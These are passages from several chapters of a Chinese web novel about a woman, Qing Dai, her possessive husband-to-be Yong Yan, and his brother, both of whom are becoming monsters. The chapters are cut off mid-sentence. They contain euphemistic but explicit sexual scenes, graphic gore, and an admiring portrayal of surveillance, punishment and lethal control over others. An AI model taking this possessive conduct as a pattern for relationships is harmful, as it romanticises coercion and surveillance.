刚刚那番话,仿佛已经用掉了卿岱的所有勇气,这次,雍野没听到她的回答。 雍衍这个变态还嫌不够一样,勒住了她腰,将她抱到桌边,微微抬起脸,从下至上地看她,好像这样能更好地欣赏她的恐惧似的,脏手又在有一下没一下地揉捏着她的下颌到脖颈: “那就他的一个字,换你一次。” 雍野不再是当年躲在散着淡淡香气的衣服里,听着她的声音,不解身体里的躁动从何而来,怀疑自己是不是发烧了的小屁孩了。 他的一个字,要让她满足这个变态一次吗? 而且是167次……雍野抿紧唇,想把刀插雍衍脑袋里,把他脑袋里恶心的东西全部挑出来。 雍衍是真的该死,他绝对没冤枉他。 卿岱没说不要,但微微偏了下头,躲开雍衍的手,雍衍注意到了,静静看她片刻,抓起她的另一只手,她低下眼睫,淡淡地睥睨着,将她抱到高处的人。 他把她的手放在自己身上,打开她的手指,稍微按紧。 隔着昂贵笔挺的衣料,她的掌心察觉到其下藏着的,细微的链条。 细细的,交错的。 它们是硬的,比西装的面料更硬一些,和富有弹性的血肉融合,形成了一种令人浮想联翩的手感。 卿岱没有移开手,按在雍衍的胸口。 又偏了偏头,这一次不是躲开雍衍,而是向着他放在她脸侧的手。 她的唇擦过他的指尖,像潘多拉魔盒的开关,只这么一下便放出了许多旖旎的恶念。 雍衍神情不变,指尖却微微蜷了一下。 可卿岱没继续,和他绷紧的手指隔了一点点距离,眼睛看着他,气息打在他的手心。 雍衍感到小腿处好像有一束玫瑰藤轻轻绕绕地攀上来,一路散发着诱人犯罪的香,却还不疾不徐地,甚至偶尔还会停下来,留一朵盛放的花。 他没低头,也看卿岱的眼睛。 她稍微压着眼睫,眼里清清冷冷,没有丝毫情、欲,却与她悠悠顺着他腿侧向上的脚背有种莫名的和谐感。 让他清楚地知道,就是她,在他的身上攀附流连。 雍衍没有动,就这么看着她,颈侧的青筋血管却在他的“无动于衷”中,克制但又蓬勃地一点点突起:“你答应了?” 这是他想要的结果,也不是。 她做出这个决定,是完全因为他吗?还是有不想让他处置雍野的原因在? 雍野,想到他,雍衍漂亮的眼睛更阴郁:“他从小就不喜欢烟花。” 雍家的人不喜欢,谁敢在他们面前惹他们厌烦? 除非是雍野自己提出来的。 他叫人放那么多的烟花,为了什么,为了吸引什么人的注意力? 真当他猜不出来吗? 当年,他就不应该放过他。 雍衍话少,但卿岱和他在一起这么久了,已经可以从他过于言简意赅的话里理解他的意思:“你是说……你弟弟是故意放烟花给我看,想要勾/引我吗?” 此刻,就站在他们旁边,听着雍衍拆穿他的的雍野沉着脸,看雍衍的眼里,杀意都要溢了出来。 他没有看卿岱的反应,对着她的耳朵却红得像血。 卿岱的脚动了动,贴着雍衍凉丝丝的西裤,轻声问:“那你想吗?勾引我?” 雍野这次敢转头看卿岱了,他脸上的片甲几乎褪掉,露出的昳丽面庞上不带任何表情,可身后的蝶翼却不受控制地收束了一下。 她没有接着雍衍的问题追问下去。 她不信,或者说,根本不在意他是不是像雍衍说的那样想要勾/引她。 这应该是他想要的态度,可是,当他得到了,却觉得…… 雍野抿紧唇,更想要杀了雍衍了。 雍衍静了一会才开口,声音冷淡,凉凉的气息仿佛蛇信侵略感十足地缠上卿岱:“只有我有资格。” 呵,雍野很想翻白眼,想就说想,还扯什么资格? 得变态到什么程度,才会连“勾引人”的这种事都要霸占,不允许别人染指? 一个有些荒谬的想法从雍野心里冒 9. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 “现在插播一条新闻,半个小时前,在星城海域,有歹徒在王冠游轮行凶后乘救生艇逃跑,疑似携带易爆危险物,请附近的市民根据指示紧急避险……” 卿岱脸上跳跃着屏幕明灭的光,雍衍进来,身上还是衬衫西裤,不过这一套是新的,而且也洗过澡了,头发还是湿的。 他在床边也看向屏幕,比常人要更浅的瞳色有种无机质的冷感,报道里的爆炸现场打了马赛克,可那一地的残骸碎肉还是从模糊的色块中溢了出来。 这种令人或难过或恐惧的画面没有引起他的任何情绪。 他只是看了看新闻下面标注的时间和地点,转头看卿岱。 卿岱没有看他,靠在软垫上,散开的乌发柔顺地流下来。 雍衍的手从她的发间穿过,手掌托着她的后脑,让她抬起头看他,卿岱没有拒绝他的力道,就着他的手仰起脸,然后直起身。 但雍衍去清理自己的期间,她的兴致已然退去。 她的动作端庄而乖顺,眼睛却始终没落到雍衍的身上,雍衍让她侧头,她便侧头,将脆弱优美颈侧露给他。 卿岱任人摆布的样子能将最正直最善良的人的施,虐,欲都激发出来。 雍衍和正直善良没有丝毫联系,长而有力的手指缓缓扣紧,手背的青筋凸起蜿蜒进袖口。 可卿岱并没有感受到疼痛,反而有一阵轻柔至极的雨小心翼翼地落在她的皮肤,轻得直落在她的颈窝,她才明显感觉到他的存在。 雨滴顺着她颈侧的血管往下掉,不算很长的路程,他却慢慢地下了很久,有许多滴重叠在一起,以证这场雨的缱,绻连绵。 有些雨滴刚落下来,就被灵活殷红的小蛇抹开,以暗,示,姓十足的方式,缓缓地,勾绕地,越抹越潮,湿。 这场雨由他创造安排,却也让他本人很不好受,雍衍的唇贴在她的肩上,浅,吻,轻,咬着消磨了片刻。 用鼻尖蹭掉了雪白的肩上那细细的带。 带子滑下,绸缎的布也被坠得掉落。 雨,有了更多需要润,泽的土地。 卿岱呼吸平缓,低下眼,从这个角度俯视雍衍,他的五官更深邃立体,眼窝甚至能在他眼下打出漂亮阴影。 他感觉到她的注视,抬起眼,眼里的情,动竟然都是淡漠的,但眼底有一分执拗:“礼物。” 卿岱不记得雍衍是从什么时候学会的,用这种“先讨好她,让她满意,再提出要求”的方式让她听话的。 可能是她第一次对他皱眉,也可能是她第一次偏开头躲开他的手。 这种细节,卿岱自己也不会注意到,她其实并没体会到特别排斥的情绪,反而是雍衍十分在意,格外执着于让她学会诸如“喜欢”“不喜欢”“反感”“想要”的这些情绪。 后来更是怀疑那些医生对她居心不轨,亲自研习了相关资料,并充当教具来教她。 卿岱学得不怎样,她也不是很想学。 她一直都知道自己喜欢什么,想要什么,只是和其他人有些不同而已。 如果一定要和她达成一致,那么需要学习的就应该是有这种想法的那个人。 雍衍就学得就很好。 一直无动于衷被雍衍吻着的卿岱终于抬起手,把柔弱无骨的手交给他,起身带他走向卧室的另一边。 红色的丝绒布落下,露出下面盖着的东西。 那是一面很大很大的镜子。 卿岱看了看镜子里的自己,转回身,抚摸着雍衍脸颊,尤其是他眼下的那颗痣:“你想看着我吗?无论做什么,无论。”她的声音越来越轻,“怎么做。” 雍衍放在她腰上的手越来越紧,卿岱被他转过去,面对镜子。 手指上的婚戒仿佛蛇类因为口渴而闪着有光的眼。 长蛇盘在优美脆弱的花茎向上,钻进红润的花萼,在雪白硬质的花瓣徘徊,再深入从中心蘸取清浆。 卿岱微微仰起头,缓慢起伏的胸膛给她支撑,让她可以很舒服地欣赏镜子里的一景一物。 蛇信很快就润,湿了,可刚刚的只是饮鸩止渴。 它变得更加渴望,需要真正的,难得的泉。 它开始蜿蜒寻找。 驭蛇的人也渴得不行,伏在她的颈窝,轻咬着,似乎计划着咬破那层薄薄的皮肤,让美味的血液润泽他干涸的唇舌。 可当附加着满满贪婪和恶念的利齿真的落下,还是很轻,轻到卿岱如此纤薄娇气的皮肤都丝毫感觉不到它的锋利。 卿岱压着眼睫,睨着雍衍的手。 雍衍捏了捏她的下颌骨,想要引起她的注意,卿岱抬起眼,看着镜子里的他的眼睛。 蛇在游走试探。 他也试图在她的眼里找到他让她情,动的证明,语气听起来是居高临下的命令,看她的眼却隐着一丝卑微:“看着我。” 要一直看着他。 只有他。 卿岱眼波平静,只在某一瞬微微皱起眉,雍衍维持着这一瞬,站在她的面前,看着她,确定她的目光仍然在自己身上后,他蹲下身。 卿岱看着他蹲下,又看了看镜子里,他的背影。 下蹲的动作,让一条细纹都没有的西裤绷紧折叠,矜贵惯了的男人这么做的时候,腰背还是笔直,无意间令线条加深。 禁欲的感觉还在,与之矛盾的涩/浴还是在此时浓浓地漫上来。 卿岱眼波有了微微的流转,手指穿进雍衍的头发,动作很轻柔,雍衍抿唇克制着自己想在她的爱抚下,滋长的破坏浴。 抬眼看了看她,仰起修长的颈,喉结微动,续接起刚刚的涨潮:“第一次。” 她未经他允许和雍野通话的第一遍惩罚。 这算什么惩罚,有的人嘴硬得甚至有点好笑,卿岱没说什么,在寂静房间里隐隐绰绰的水浪声里,有一下没一下地捋顺着雍衍的发丝。 等海声停下来,雍衍神情还是冷的,暗潮被他压在眼低,放在齿边,略重地咬着她颈侧的血管。 傲慢入骨的男人很不喜欢自己说出来,每次都选择这种侵略性十足的方式让卿岱知道他也需要她的照顾。 卿岱的手正好放在他的颈后,指尖顺着他的脊骨往下,她无意间的一个动作,让他扫在她颈窝的气息又重了一些。 “解开吧。” 雍衍直起身,漂亮的眼阴沉危险地看着她,握住她的脚踝,脚链上的红宝石和他的腕表碰撞出轻响。 他将那枚边缘精心设计成特别形状的红宝石从细链上解下来。 卿岱问:“要我来吗?”她今天心情好像还不错。 雍衍顿了一下,把双手背到身后。 这和猛兽伏低身子的动作没什么区别,都是为了向对方展示自己的无害。 卿岱把他的衬衫下摆抽出来,手搭上他的第一颗扣子。 这件衬衫,他应该只会穿一次,但就像他的其他衬衫一样,每一颗扣子都是特别的设计,稀有又昂贵的材质。 如此郑重的礼物丝带,当然要珍惜对待,卿岱解开得很慢。 拖得雍衍压抑了一晚上的呼吸终于有了明显地变化,肌肉的流线因此起伏,衬衫里的细链们也轻轻晃荡着。 她的情感老师,雍衍为了有更多不同的情绪体验。 想了很多办法。 这就是其中之一。 事实证明,这次教学是成功的,第一次试行,就引起了卿岱难得的兴趣,到今天还没有感到厌倦。 她看着颤抖的细链,按照刻板印象,这种漂亮的装饰更应该出现在她,女性的身上。 但当它出现在男人肌理分明,蕴藏着力量美的身体上,就显出打破固囿思维的必要性了。 链条和盆骨处的人鱼线一并延展进西裤里,它们看起来松垮,但固定在很巧妙的位置上,没有特制的钥匙,不可能在不伤及根本的情况下,将它强制取下来。 卿岱摊开手,雍衍把手里,边缘经过特殊设计打造而成的红宝石给她。 在雍衍的指尖要离开她手心的时候,她握住了他的手。 带着他,去找那把锁。 锁的机关由一块中间凹起的金属控制,卿岱把红宝石放进凹槽的时候,雍衍的手指像是痉挛了一下,勾了勾她的手心。 不知是急迫还是想要她停下来。 卿岱选择试验后者,在按下红宝石,彻底解开桎梏之前停住。 雍衍看向她,自出生起就在他血液里流淌的矜贵高傲,让他说不出“求”这样的字。 他森然冷然的眼里也没有要服软的表达。 明明心甘情愿受制于她,却还是居高临下地看她,按捺着被她控制的念,和残暴的本能。 卿岱亲了亲他的唇,将红宝石按进去。 束缚的锁链都打开了,卿岱的颈侧被狠狠咬住,感觉自己好像被蟒蛇缠住,温吞地勒着她,紧贴着她的皮肤蠕动,冰凉的触感让人分不清他有没有留下湿粘的痕迹。 相比雍衍的专注用力,卿岱要分心许多,她在恰当好处的微微窒息感中,玩似的试探着碰触这条巨蟒的哪里,可以让它更紧缩颤抖。 她的玩味折磨让阴暗的蟒更为兴奋。 卿岱今晚难得那么配合他,张开唇,让他纠缠,突然,她皱起眉,有种很奇怪的感觉,原本搅着她的软肉在某一瞬间收束,变成了一条柔韧细长的绳缠住她的舌,她下意识往后收,却被它本能且强势地拽住,收紧。 她甚至能感觉到它缠着她,前端的分叉兴奋有力快速抽动,扫着她的口腔深处,刺激着她的咽喉收缩。 卿岱想要看雍衍,可他在她的目光落下之前,关掉了灯。 应该是他关掉的,虽然他的双手还在抱着她,灯的位置又和他们有一定距离。 卿岱看着黑暗里他模糊的脸庞,他的喘息很沉。 卿岱的手变了个位置,他现在好像很敏感,她才动了一下,他就猛地起身。 卿岱的指尖被他后腰下方的什么东西划到了。 好像是一块薄片,边缘圆滑,温度极低,非常锋利,只是无意刮到卿岱,房间里便散开淡淡的血腥味。 卿岱不记得雍衍身上还有其他东西。 雍衍握住了她的手腕,把她受伤的手指放在唇边,下意识想要吸吮掉她的血珠,但动作止在短促清浅的亲吻。 他拿了纸巾,暂时给她按着,起身:“我叫医生来给你包扎。” 灯光亮起,除了脸色有些冷,雍衍身上没有其他异样。 卿岱没有探究那些异样,只是看着雍衍。 雍衍通知了管家叫来私人医生,低着头,神情晦暗地看着她手上慢慢渗出血液的纸巾。 卿岱问了个问题:“你今晚还是很累吗?” 这不是他第一次在关键时刻停下来了,这两个月,他每次都不行。 雍衍后背僵直,刚刚他如果继续,有可能会把她缠死,绞碎。 他认为自己能够控制一切,就算第一次发现自己有可能变成了怪物,他也从未怀疑过自己。 就算血液里有了怪物的因子,他依旧可以成为它的主人。 他的自信,在面对她的时候,一次次瓦解。 这一次,他甚至弄伤了她的手。 还让她怀疑他那方面有了什么问题。 雍衍看着卿岱,卿岱没表现出什么不满,只是在他“默认”后,闭上了眼:“没关系,那就好好休息吧。” 雍衍身体里的怪物又要苏醒,因为他暴涨的焦躁和不安。 勉强过,利诱过,换着花样试了那么多,他最能让她对他有不同的情愫的就是这些。 如果他以后一直这么“不行”,她会厌弃他,会找人替代他吗? 雍衍喉结上下动了动,抚着她的长发:“等医生走了,我再用口。” “不用了。”卿岱好听的声音很轻,却让人冷得骨头都疼,“很晚了。” —— 早上,管家进来的时候,卿岱正在看新闻。 昨晚,携带危险物的嫌疑人还没抓到,稍微可能被涉及到一点的航线都被叫停。 雍家有几支的私人航线也在危险区内,而且还是雍家安排好来岛上的那几支,雍家自然可以获得权限外的特权,但雍家也有惜命的人,本应昨晚从海上登岛的孟鹤白,也就是雍衍的母亲推迟了行程,决定和改乘私人飞机和沈家掌权人的母亲一起,在今天上午到达。 卿岱吃得差不多了,放下筷子,抬起眼,看到管家陌生的面孔:“林叔呢?” 新管家向她微微欠身:“林叔身体不适,少爷派人送他离岛了。” 卿岱没有多问,点了点头:“拿一张卡给林叔,让他保重身体。” 新管家看似平静,心里却倒吸了口凉气,卿岱说的简单。 拿一张卡,没指明具体金额,可她名下的卡,哪张不是七位数打底的? 那句让林叔保重身体的叮嘱,看似无意,在雍家,和免死金牌的效果差不多。 要知道,她和其他人培训了那么久,只有一个内容是每天都要反复重复强调无数遍的,那就是,卿小姐具有绝对的优先权。 她曾听人说起过,一开始,有人听卿小姐是少爷从孤儿院带回来的,就没管住嘴皮子,私下底议论了两句卿小姐,话语其实并不算刻薄。 但那人的下场之惨,足以让后面所有来雍家做事的人时刻谨记,无论如何都不能轻视慢待卿小姐。 在很多事情上,卿小姐的决定甚至能凌驾于少爷的。 新管家认为,在处理林叔这件事上,她应该听卿小姐的比较好。 果然,等她将卿小姐的话转达给少爷后,她得到了少爷说的“都听她的”的指示。 走的时候,少爷还告诉她,下次不用来找他了。 新管家赶忙了拿了卿小姐说的卡,立刻去找林叔,他正要坐上送他去接受“处理结果”的车子,新管家把他拦下来,和司机说了几句话,把卡交给林叔。 林叔受宠若惊,低头看手里的卡。 “卿小姐……”林叔心里非常复杂。 他想起很多年前,第一次见到卿岱。 那时候,雍衍少爷就已经是雍家默认的继承人了,甚至手里已经掌握了很多条掌控雍家的实权提线。 他代表雍家出席了一个慈善活动。 活动在一家僧人出资捐助的孤儿院里举办,那家孤儿院受宠若惊的程度和他现在差不多,带着里面的孤儿排练了很多节目,表演给雍衍看。 真的是很多节目,甚至到了中午还没结束。 林叔那时候还不算特别了解雍衍,过程里,他一直在紧张雍衍会不会直接冷脸走人,把那些战胜自卑害羞,努力讨好他的小孩子们的自尊心摔得粉碎。 但雍衍没有,他完全低估了这位小少爷的耐心。 雍衍就是这么奇怪的孩子,凶残冷血,却又在某些方面有着让人惊叹的教养。 孤儿院的负责人不是很会看人脸色,在这种情况下,还邀请雍衍留下来吃午饭,下午继续观看后面的演出。 雍衍自然不会吃孤儿院的东西,要离开的时候,他们的车子路过了一处偏僻的亭子。 有个小男孩从小路跑出来,不管不顾地拍打车窗,向他们求助,说有好几个男生要欺负他的小姐姐。 老管家抬头往亭子里看,确实有几个高大壮硕的身影,人影晃动间,隐约能看到一个纤细的身影。 很可怜,但雍衍少爷没有同理心。 老管家正思索着要不要偷偷通知孤儿院的人去帮忙,就听到雍衍少爷的声音:“去看看。” 他带了些私心,领着几个保镖上去的时候,不只是查看情况,而是直接将那几个面目狰狞的男生都按在了地上。 等危险解除,他才感觉到不对劲。 那易碎的,可怜的,被这么多猥琐的异性觊觎的女孩子坐在亭子最干净的石凳上,石凳上甚至还垫着几件男生的外套,有一件滑下来,被她的鞋子踩着。 她的身上没有任何伤痕,戏服也整整齐齐。 反而是地上被按着的那几个男生十分狼狈可怜,鼻青脸肿,破破烂烂。 女孩身上的戏服面料很一般,但在她的身上没有任何廉价感。老管家只是看了她一眼,就能笃定,她一定是他这辈子见过,或者说,能见到的最漂亮的女孩。 她的美丽超出老管家认知太多,他当时只有一个可能不是很恰当但绝不夸张的想法: 只要她想,她可以得到她想要的一切,哪怕是从恶魔的手里索取。 老管家当然相信那几个男生会为她做任何事,无论是好的还是坏的,但又因为眼前的景象而有些不确定:“他们……要欺负你吗?” 她在那些男生痴迷的目光里点点头,很有礼貌:“嗯,谢谢叔叔救了我。” 林叔愣了一下:“不是我……”他侧身让出亭子下方停的车。 她的目光落在那辆黑车上。 孤儿院的小孩当然不认识什么豪车的车标,但豪车的外形就已经够让他们领悟到不是所有人都只能住在破旧发霉的房子里,穿别人不要的衣服,有的人,一出生就在他们高不可攀的世界里。 这样的领悟,会让本就自卑敏感的孩子更加拘谨窘迫。 可她只是像看一块石头一样看着那辆能买下整个孤儿院和里面所有人的车子。 林叔那时就有种奇怪的感觉,雍衍应该也在车窗里看着她。 冥冥中,林叔意识到了什么,轻咳了一声,又问:“那他们为什么会自己打起来了?” “因为。”她把目光收回,放到林叔身上,“我跟他们中的一个人说,我喜欢他,只想和他在一起。” 她看向地上的那几个男生:“但,是哪个,我忘记了。” 那天下午,雍衍准时出现在孤儿院临时搭建的观众席。 看完了最后一个上场的女孩唱完戏,然后把她带了回去。 林叔深吸了一口气,握紧手里的卡,对新管家说:“请帮我转达卿小姐,谢谢她。” 说完,他坐上车。 他以为他会被直接送出岛,没想到,还有人在等他。 “小少爷?您这是怎么了……” 林叔惊讶地看着从逼停车子的车上下来的雍野,唇色惨白,眼睛通红,红都烧到了眼尾,小半张脸都蔓着不正常的潮红。 雍野没有废话:“上车,我叫我的人送你走。” 林叔张了张嘴,赶紧摸出那张卡:“不用了,小少爷,卿小姐给了我这张卡,让我回去好好养老。您不要再和大少爷闹脾气了,他和卿小姐都很担心你,好好跟他们道个歉认个错……” 雍野看着林叔,狠戾的目光看得林叔发毛。 认错? “呵。”雍野心口还疼着,怎么会信雍衍那家伙会担心他。 雍衍昨晚就叫人撤了救援队,还封锁了消息。 明显是打算让他烂在海里。 不对,雍衍很可能猜到那个看不见的“人”就是他了。 这没影响雍衍对他下死手,如果不是怪物之身让他有了瞬移的本事,他早就是一具尸体了。 至于卿岱…… 雍野唇间溢出冷嘲:“她可真好心啊。” 林叔还要说什么,雍野却转过身,坐进车子里前给林叔丢来了什么。 林叔接住,看了一下,是把银行保险柜的钥匙,不知道是什么,但比较下保险费就知道,里面的东西不可能普通。 林叔吓死了要:“这我不能……” 雍野摔上车门:“我不喜欢欠别人的。” 而且,林叔是他连累的,凭什么让卿岱来替他善后? 好像他欠了她的一样。 明明是雍衍欠了他的。 雍野想到雍衍,脸上便浮出零星的片甲。 为什么。 无论什么,哪怕是做怪物,也是那个变态比他更强。 凭什么。 雍衍拥有的,他不能拥有? 天赋,权力,还有…… —— “你受伤了?” 帮雍衍穿衬衫的手停下来,卿岱目光落在他小腹处的疤痕上。 很浅,根据愈合时间倒推,应该是很多天之前受的伤。 这明显是不可能的,卿岱在雍衍伤痕上抚过。 雍衍人没有动,眼里却有什么缓缓沉下来。 而卿岱并没有流连,取了药膏回来,沾了一些在指尖:“你答应过我的,会保护好……” 雍衍知道她要说什么,但今天他只想听到这里,他低下头,额头靠着她,看着她手上格外温柔的动作:“我知道。” 雍衍没把重量真的压在她的身上,与其说靠,不如说是小心地碰一点点边,卿岱也没有躲开,由着他,慢慢将药膏抹开:“我哥哥他们是不是今天会到?” 听到她的问题,雍衍顿时冷下来。 “我们应该一起见见他们,在婚礼前。”卿岱似乎没察觉到雍衍的变化,把药给他上好,才抬头看他。 雍衍不说话,又用他能把别人吓得生生跪下的沉默来回应她。 卿岱稍微踮起脚,亲亲他的嘴巴。 仿佛治好哑巴的灵丹妙药,哑巴新郎·雍衍看着她,动了动唇:“没有血缘,算什么哥。”顿了顿,“不许这么叫他。” 卿岱和他拉开距离,恢复平时的淡然优雅,并以这样的状态问雍衍:“那我可以这么叫你吗?” 雍衍往她的眼睛里看,起先是一片铺着薄冰的清潭,再往深处,却藏着小勾子。 配合她的问题,让人浑身的血液都热起来,不顾一切地想要往她眼里的冰潭里跳。 雍衍的沉默变了意味,成为了对她的纵容,默许和渴望。 但直到卿岱走出房间,也没将那个称呼叫出来。 和卿岱在孤儿院的朋友们的见面被雍衍安排在小楼之外,他不允许那些人踏足他和 10. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 天放晴得很突然,新闻也没再播报令人不安的袭击事件,卿岱叫人把生态缸放在小楼阳光最好的地方,它们在阳光下翩飞。 卿岱的目光停在生态缸的玻璃壁上。 一只蝴蝶停在上面,缓缓阖动翅膀。 她伸出手,那只黑色羽翼的蝶扇了扇翅膀,细细的脚紧紧抓握住她的指尖。 卿岱抬头看了看房间里的窗户,没有任何破损,依旧密不透风。 她把这只美丽到奇谲的蝴蝶举高,放在眼前。 所以,你是从哪里进来的呢? 她听到了雍衍的开门声,把生态缸打开,将托着黑色蝴蝶的手指送进去,黑色蝴蝶很慢地从她手上挪到树枝上,其他蝴蝶都围了过来。 卿岱将生态缸关好,腰间被缓缓圈住,脖子也是一样,雍衍身上的气息是冷的,但让她抬起脸,方便他亲吻颈侧的手却是温热的。 这份温热并不属于他,所以褪去地格外快。 在温度散去之前,雍衍把手从她皮肤上拿开:“见到你哥哥,开心了吗?” 卿岱随他摆弄,自己整理着香盒:“你不是不许我那么叫他吗?” 雍衍牙齿都压在了玉白的耳垂上面,但最终还是没落实,只是含了含,用唇蛇代替牙齿实行惩罚:“我的不许,对你有用吗?” 他口腔里的温度也那么低,卿岱侧脸,拿起一个还没她手掌一半大的小香薰炉,点燃:“闻闻看,我新调的香。” 雍衍从她身后拥着她,闻着蒸腾出来的香,他也和那袅袅升起的香一样,缓缓地用鼻尖蹭着她的脸颊。 卿岱抬起手,在他额头上轻轻戳了一下:“我让你闻香。” 语气淡淡的,却将雍衍齿间压抑下去的嗜血欲/念激出来,他扑打在她颈侧的呼吸微重,接着抬起头,拉开和她的距离。 卿岱拿着香炉画着小圈,让香气散得更开:“喜欢吗?我在里面加了你送给我的香料。” 房间里的香气无疑是好闻的,甚至有些叫人上瘾,忍不住一下比一下更重更贪婪地阖动鼻翼,妄想将所有香气都占为己有。 只有拥有特别灵敏的嗅觉的生物才会嗅出这香里有一缕若有若无的血腥味。 很熟悉的血腥味,雍衍闭起眼,按捺着因为兴奋而产生的战栗,收紧她的腰:“我很喜欢,你呢。” 卿岱指尖摩挲着香炉表面:“我也很喜欢。” 听到她说出平时极少说出来的字眼,控着她腰肢的长指收紧,雍衍的唇稍稍张开,溢出无声但餍足至极的喟叹:“那我再多送给你一些,好不好?” “好。”卿岱转过身,面对他,“但你还没告诉我,你送给我的香料是什么。” 雍衍低眼看着她:“答案就在我身上。” 他放开她的腰,直起身,再次拉开和她的距离:“自己来找。” 卿岱看了他一会,久违地生出了一点好奇心。 主动地靠近他,手扶着他的胸膛,踮起脚,轻轻亲了一下他的喉结:“没有提示吗?” 雍衍喉结滑动,是他设下陷阱,诱导她步入,他本该耐心地等她深陷其中。 可她才往前走了一步,他就已经忍不住了。 到底谁才是设下陷阱的猎人?这个问题不重要了,雍衍倾身,在她身子向后仰的时候,顺势将她的手按在桌上,屈膝。 黑西裤压进浅色的旗袍裙摆,咬住了她的唇。 这次雍衍用了一点从来没有用在她身上的力度,但也在不会伤到她的范围里。 卿岱措不及防,很轻地出了一点气音。 就这轻得恍若错觉的一声让雍衍浅色的眼瞳瞬间渗出了金红色,瞳孔也反人类地收缩拉长,但他的气息仍然平缓,甚至比平时更绵长轻浅:“像这样找答案,学会了吗?” 是他向卿岱提出问题,也是他堵住她的嘴。 卿岱嗯了一声,像他那样,咬他的唇。 她并没有收敛力度,她从来没做过这种事情,根本没有轻重的概念,雍衍收到了她给的痛感,放轻声音,收敛着病态的欢愉,轻轻抚着她的脊柱,鼓励她:“再重一点,宝宝。” 卿岱停顿了一下,然后,牙齿咬合,像是咬开了一颗糖果。 香甜的血腥味慢慢流进她和雍衍的唇齿。 香炉熄灭,香气却更重,卿岱被雍衍抱起来。 窗外的天光收束,阴影像暗色的海水漫进房间,生态缸里的黑蝶极慢地扇动翅膀,它的身后,其他蝴蝶纷纷坠下。 在缸底,静静地消散着最后的生命力。 —— 卿岱手腕上系的领带被解开,接着她手指上的纱布也被小心地打开,凉丝丝的药水擦过,她睁开眼。 床边有道黑影,背着月光,只能看到轮廓,他低下身,吻了吻她的额头:“睡吧,我有事要处理一下。” 气息是雍衍的,比平时多了些血腥味,卿岱闭上 11. 先结婚再守寡 《被怪物盯上的寡妇》全本免费阅读 浓重的血腥味将海风的味道都压了下去,身穿制服,脚踩军靴的高大男人环顾了一圈四周的人类残骸,这些人都是来参加雍家婚礼的宾客,虽然没有资格进入主岛,是鄙视链最下端的存在,但在一般人来看,这些人已经算得上很有钱的有钱人了。 厉酆低下眼,身后的人均没反应过来,等意识到什么,就见厉酆脚踩住了一个从尸块下面突然飞出来的“幸存者”。 这人,不,他已经不是人了,脑袋裂成长长的四瓣,里面密布着细齿,细齿间还夹着挂着黄白组织液的肉丝。 他的后背被厉酆稳稳踩着,看起来很轻松的样子,只有厉酆身后,和怪物交过手的队员才知道,这些怪物的力气有多大。 厉酆不紧不慢,戴着皮手套的手摊开有人给他递来一把特制的重木仓。 刺目的火舌从木仓口窜出来,照亮厉酆冷峻的眉眼。 烧足了一分钟,厉酆才将鞋底挪开,看着融在地上的怪物尸体,示意属下清理。 厉酆又检查了一圈,最后才回到入口,脱下手套,露出伤痕交错的大手,这样的伤痕,他的脸上也有,就在右眼那里,让原本长得相当周正英俊的男人,多了种令人不敢直视的煞气,再加上他的身材比一般人要高大很多,看着就更凶更有压迫感了,不止一次有受害人因为他颇有存在感的外在形象,忽视他身上的制服,把他当成比凶手更可怕的反派BOSS,吓得拼命尖叫。 还好,厉酆被调离,不出那些普通的外勤任务了。 有人抬着个机器从旁边经过,机器滴滴亮着灯,厉酆看了一眼上面变成深红色的数值,眉心显出深深的皱痕。 这个机器是临时制造出来的,准确度一般。不过,大概的数值仍然能告知他们,这里到底死了多少怪物。 厉酆侧目,看向旁边的修长身影:“雍老板竟然不用等我们到场,就把局面控制住了。”何止是控制住,厉酆刚刚大致看了一圈,连他们都难杀的怪物,死相都相当凄惨。 “这是怎么做到的,可以麻烦雍老板指点一二吗?” “等你们到场?”雍衍没什么表情,可就是会让人觉得被他踩在脚下,冷冷睨视着,“它们会把我的妻子吵醒的。” 只是为了不打扰他的妻子睡觉,所以就自己带人清理了这么多怪物?厉酆眉眼没动,仿佛没听出这个回答有多离谱。 他们官方有的,雍家不会少,这一点,是所有人都默认的,不只是雍家,他的家族,同为豪门金字塔塔尖的厉家也有这样的隐藏实力。 只是 12. 先结婚后守寡 《被怪物盯上的寡妇》全本免费阅读 雍衍回到卧室里的时候,里面空无一人,他坐在卿岱常睡的那边,手指抚过残留着她的味道的枕头。 片刻后,数不清的人影像鬼魅一样无声无息地从岛上各个隐蔽处走出,在大多数宾客们的睡梦里寻找目标。 雍衍站在偌大的房间正中,铺满墙面的监控画面闪着微弱荧光,它们是他面无表情的脸上唯一跳动的存在。 这么多监控,却唯独没有他现在所在的小楼里的。 她在发现他叫人安在住所里的监控后,目光一天都没有落在他身上。 他知道她不喜欢,所以他只能把眼睛安在除她以外的其他地方,每一处都不放过。 这样也能找到她。 金黑色的竖瞳一眨一眨地看着快速闪过的画面,手指轻缓碾着从他袖口处滑出来的细链。 那是她睡前亲手为他再次戴上的。 卿岱不见了,认识的,不认识的,和她有过交集的,没有交集的,甚至是他不记得名字的,每个人都有嫌疑。 —— 深红色的丝绒斗篷扫过花园里的玫瑰花,引得它们轻轻抖掉清晨刚刚凝结的露珠。 半明半暗的光线里,花园好像莫奈笔下的画作,走进这幅画的人抬起冷白修长的手将斗篷的帽子摘掉,露出的如画眉眼竟然瞬间就将她所置身的美丽花园比得失去色彩。 卿岱走进小楼,看到她的拖鞋整齐地放在门口,像是已经等待她回来很久了。 卿岱换好鞋子,走进一楼大厅,里面没有开灯,却站满了人。 两排以新管家为首的工作人员,微低着头,屏着呼吸站在坐在沙发上的男人面前。 卿岱看不清雍衍的脸,她也不想猜他在想什么。 她没有打破客厅里恐怖的沉默,转身走上楼。 雍衍的声音响起:“怎么不多睡一会儿?” 卿岱停下来:“白天午睡睡得太多,晚上就不想睡了。”她低头看手里的花篮,“花园里的花那么多,我想看看有没有适合做香料的。” 卿岱回答他问题的时候,雍衍已经来到她身后。 没有任何声响,她甚至都没听到他的呼吸和心跳,等到他的手环住她的腰,头低下来,贴在她身后,她才感觉到有凉凉的气息扑打在她的耳边。 他的手格外暖,应该是在等她回来的时候,一直用暖手焐着手,就等她回来。 他把鼻尖埋在她的发丝里,深深慢慢地吸着气。 卿岱还没有皱起眉,他就侧开脸,将下巴放在她的颈窝,抱着她,漫不经心地翻弄着她篮子里的东西。 他很嫌弃:“这些都不是什么好货色。” “不值钱,到处都是,香也不持久……” 是真的很嫌弃了,让从来吝啬于多说一句的男人连着给出这么多负面评价。 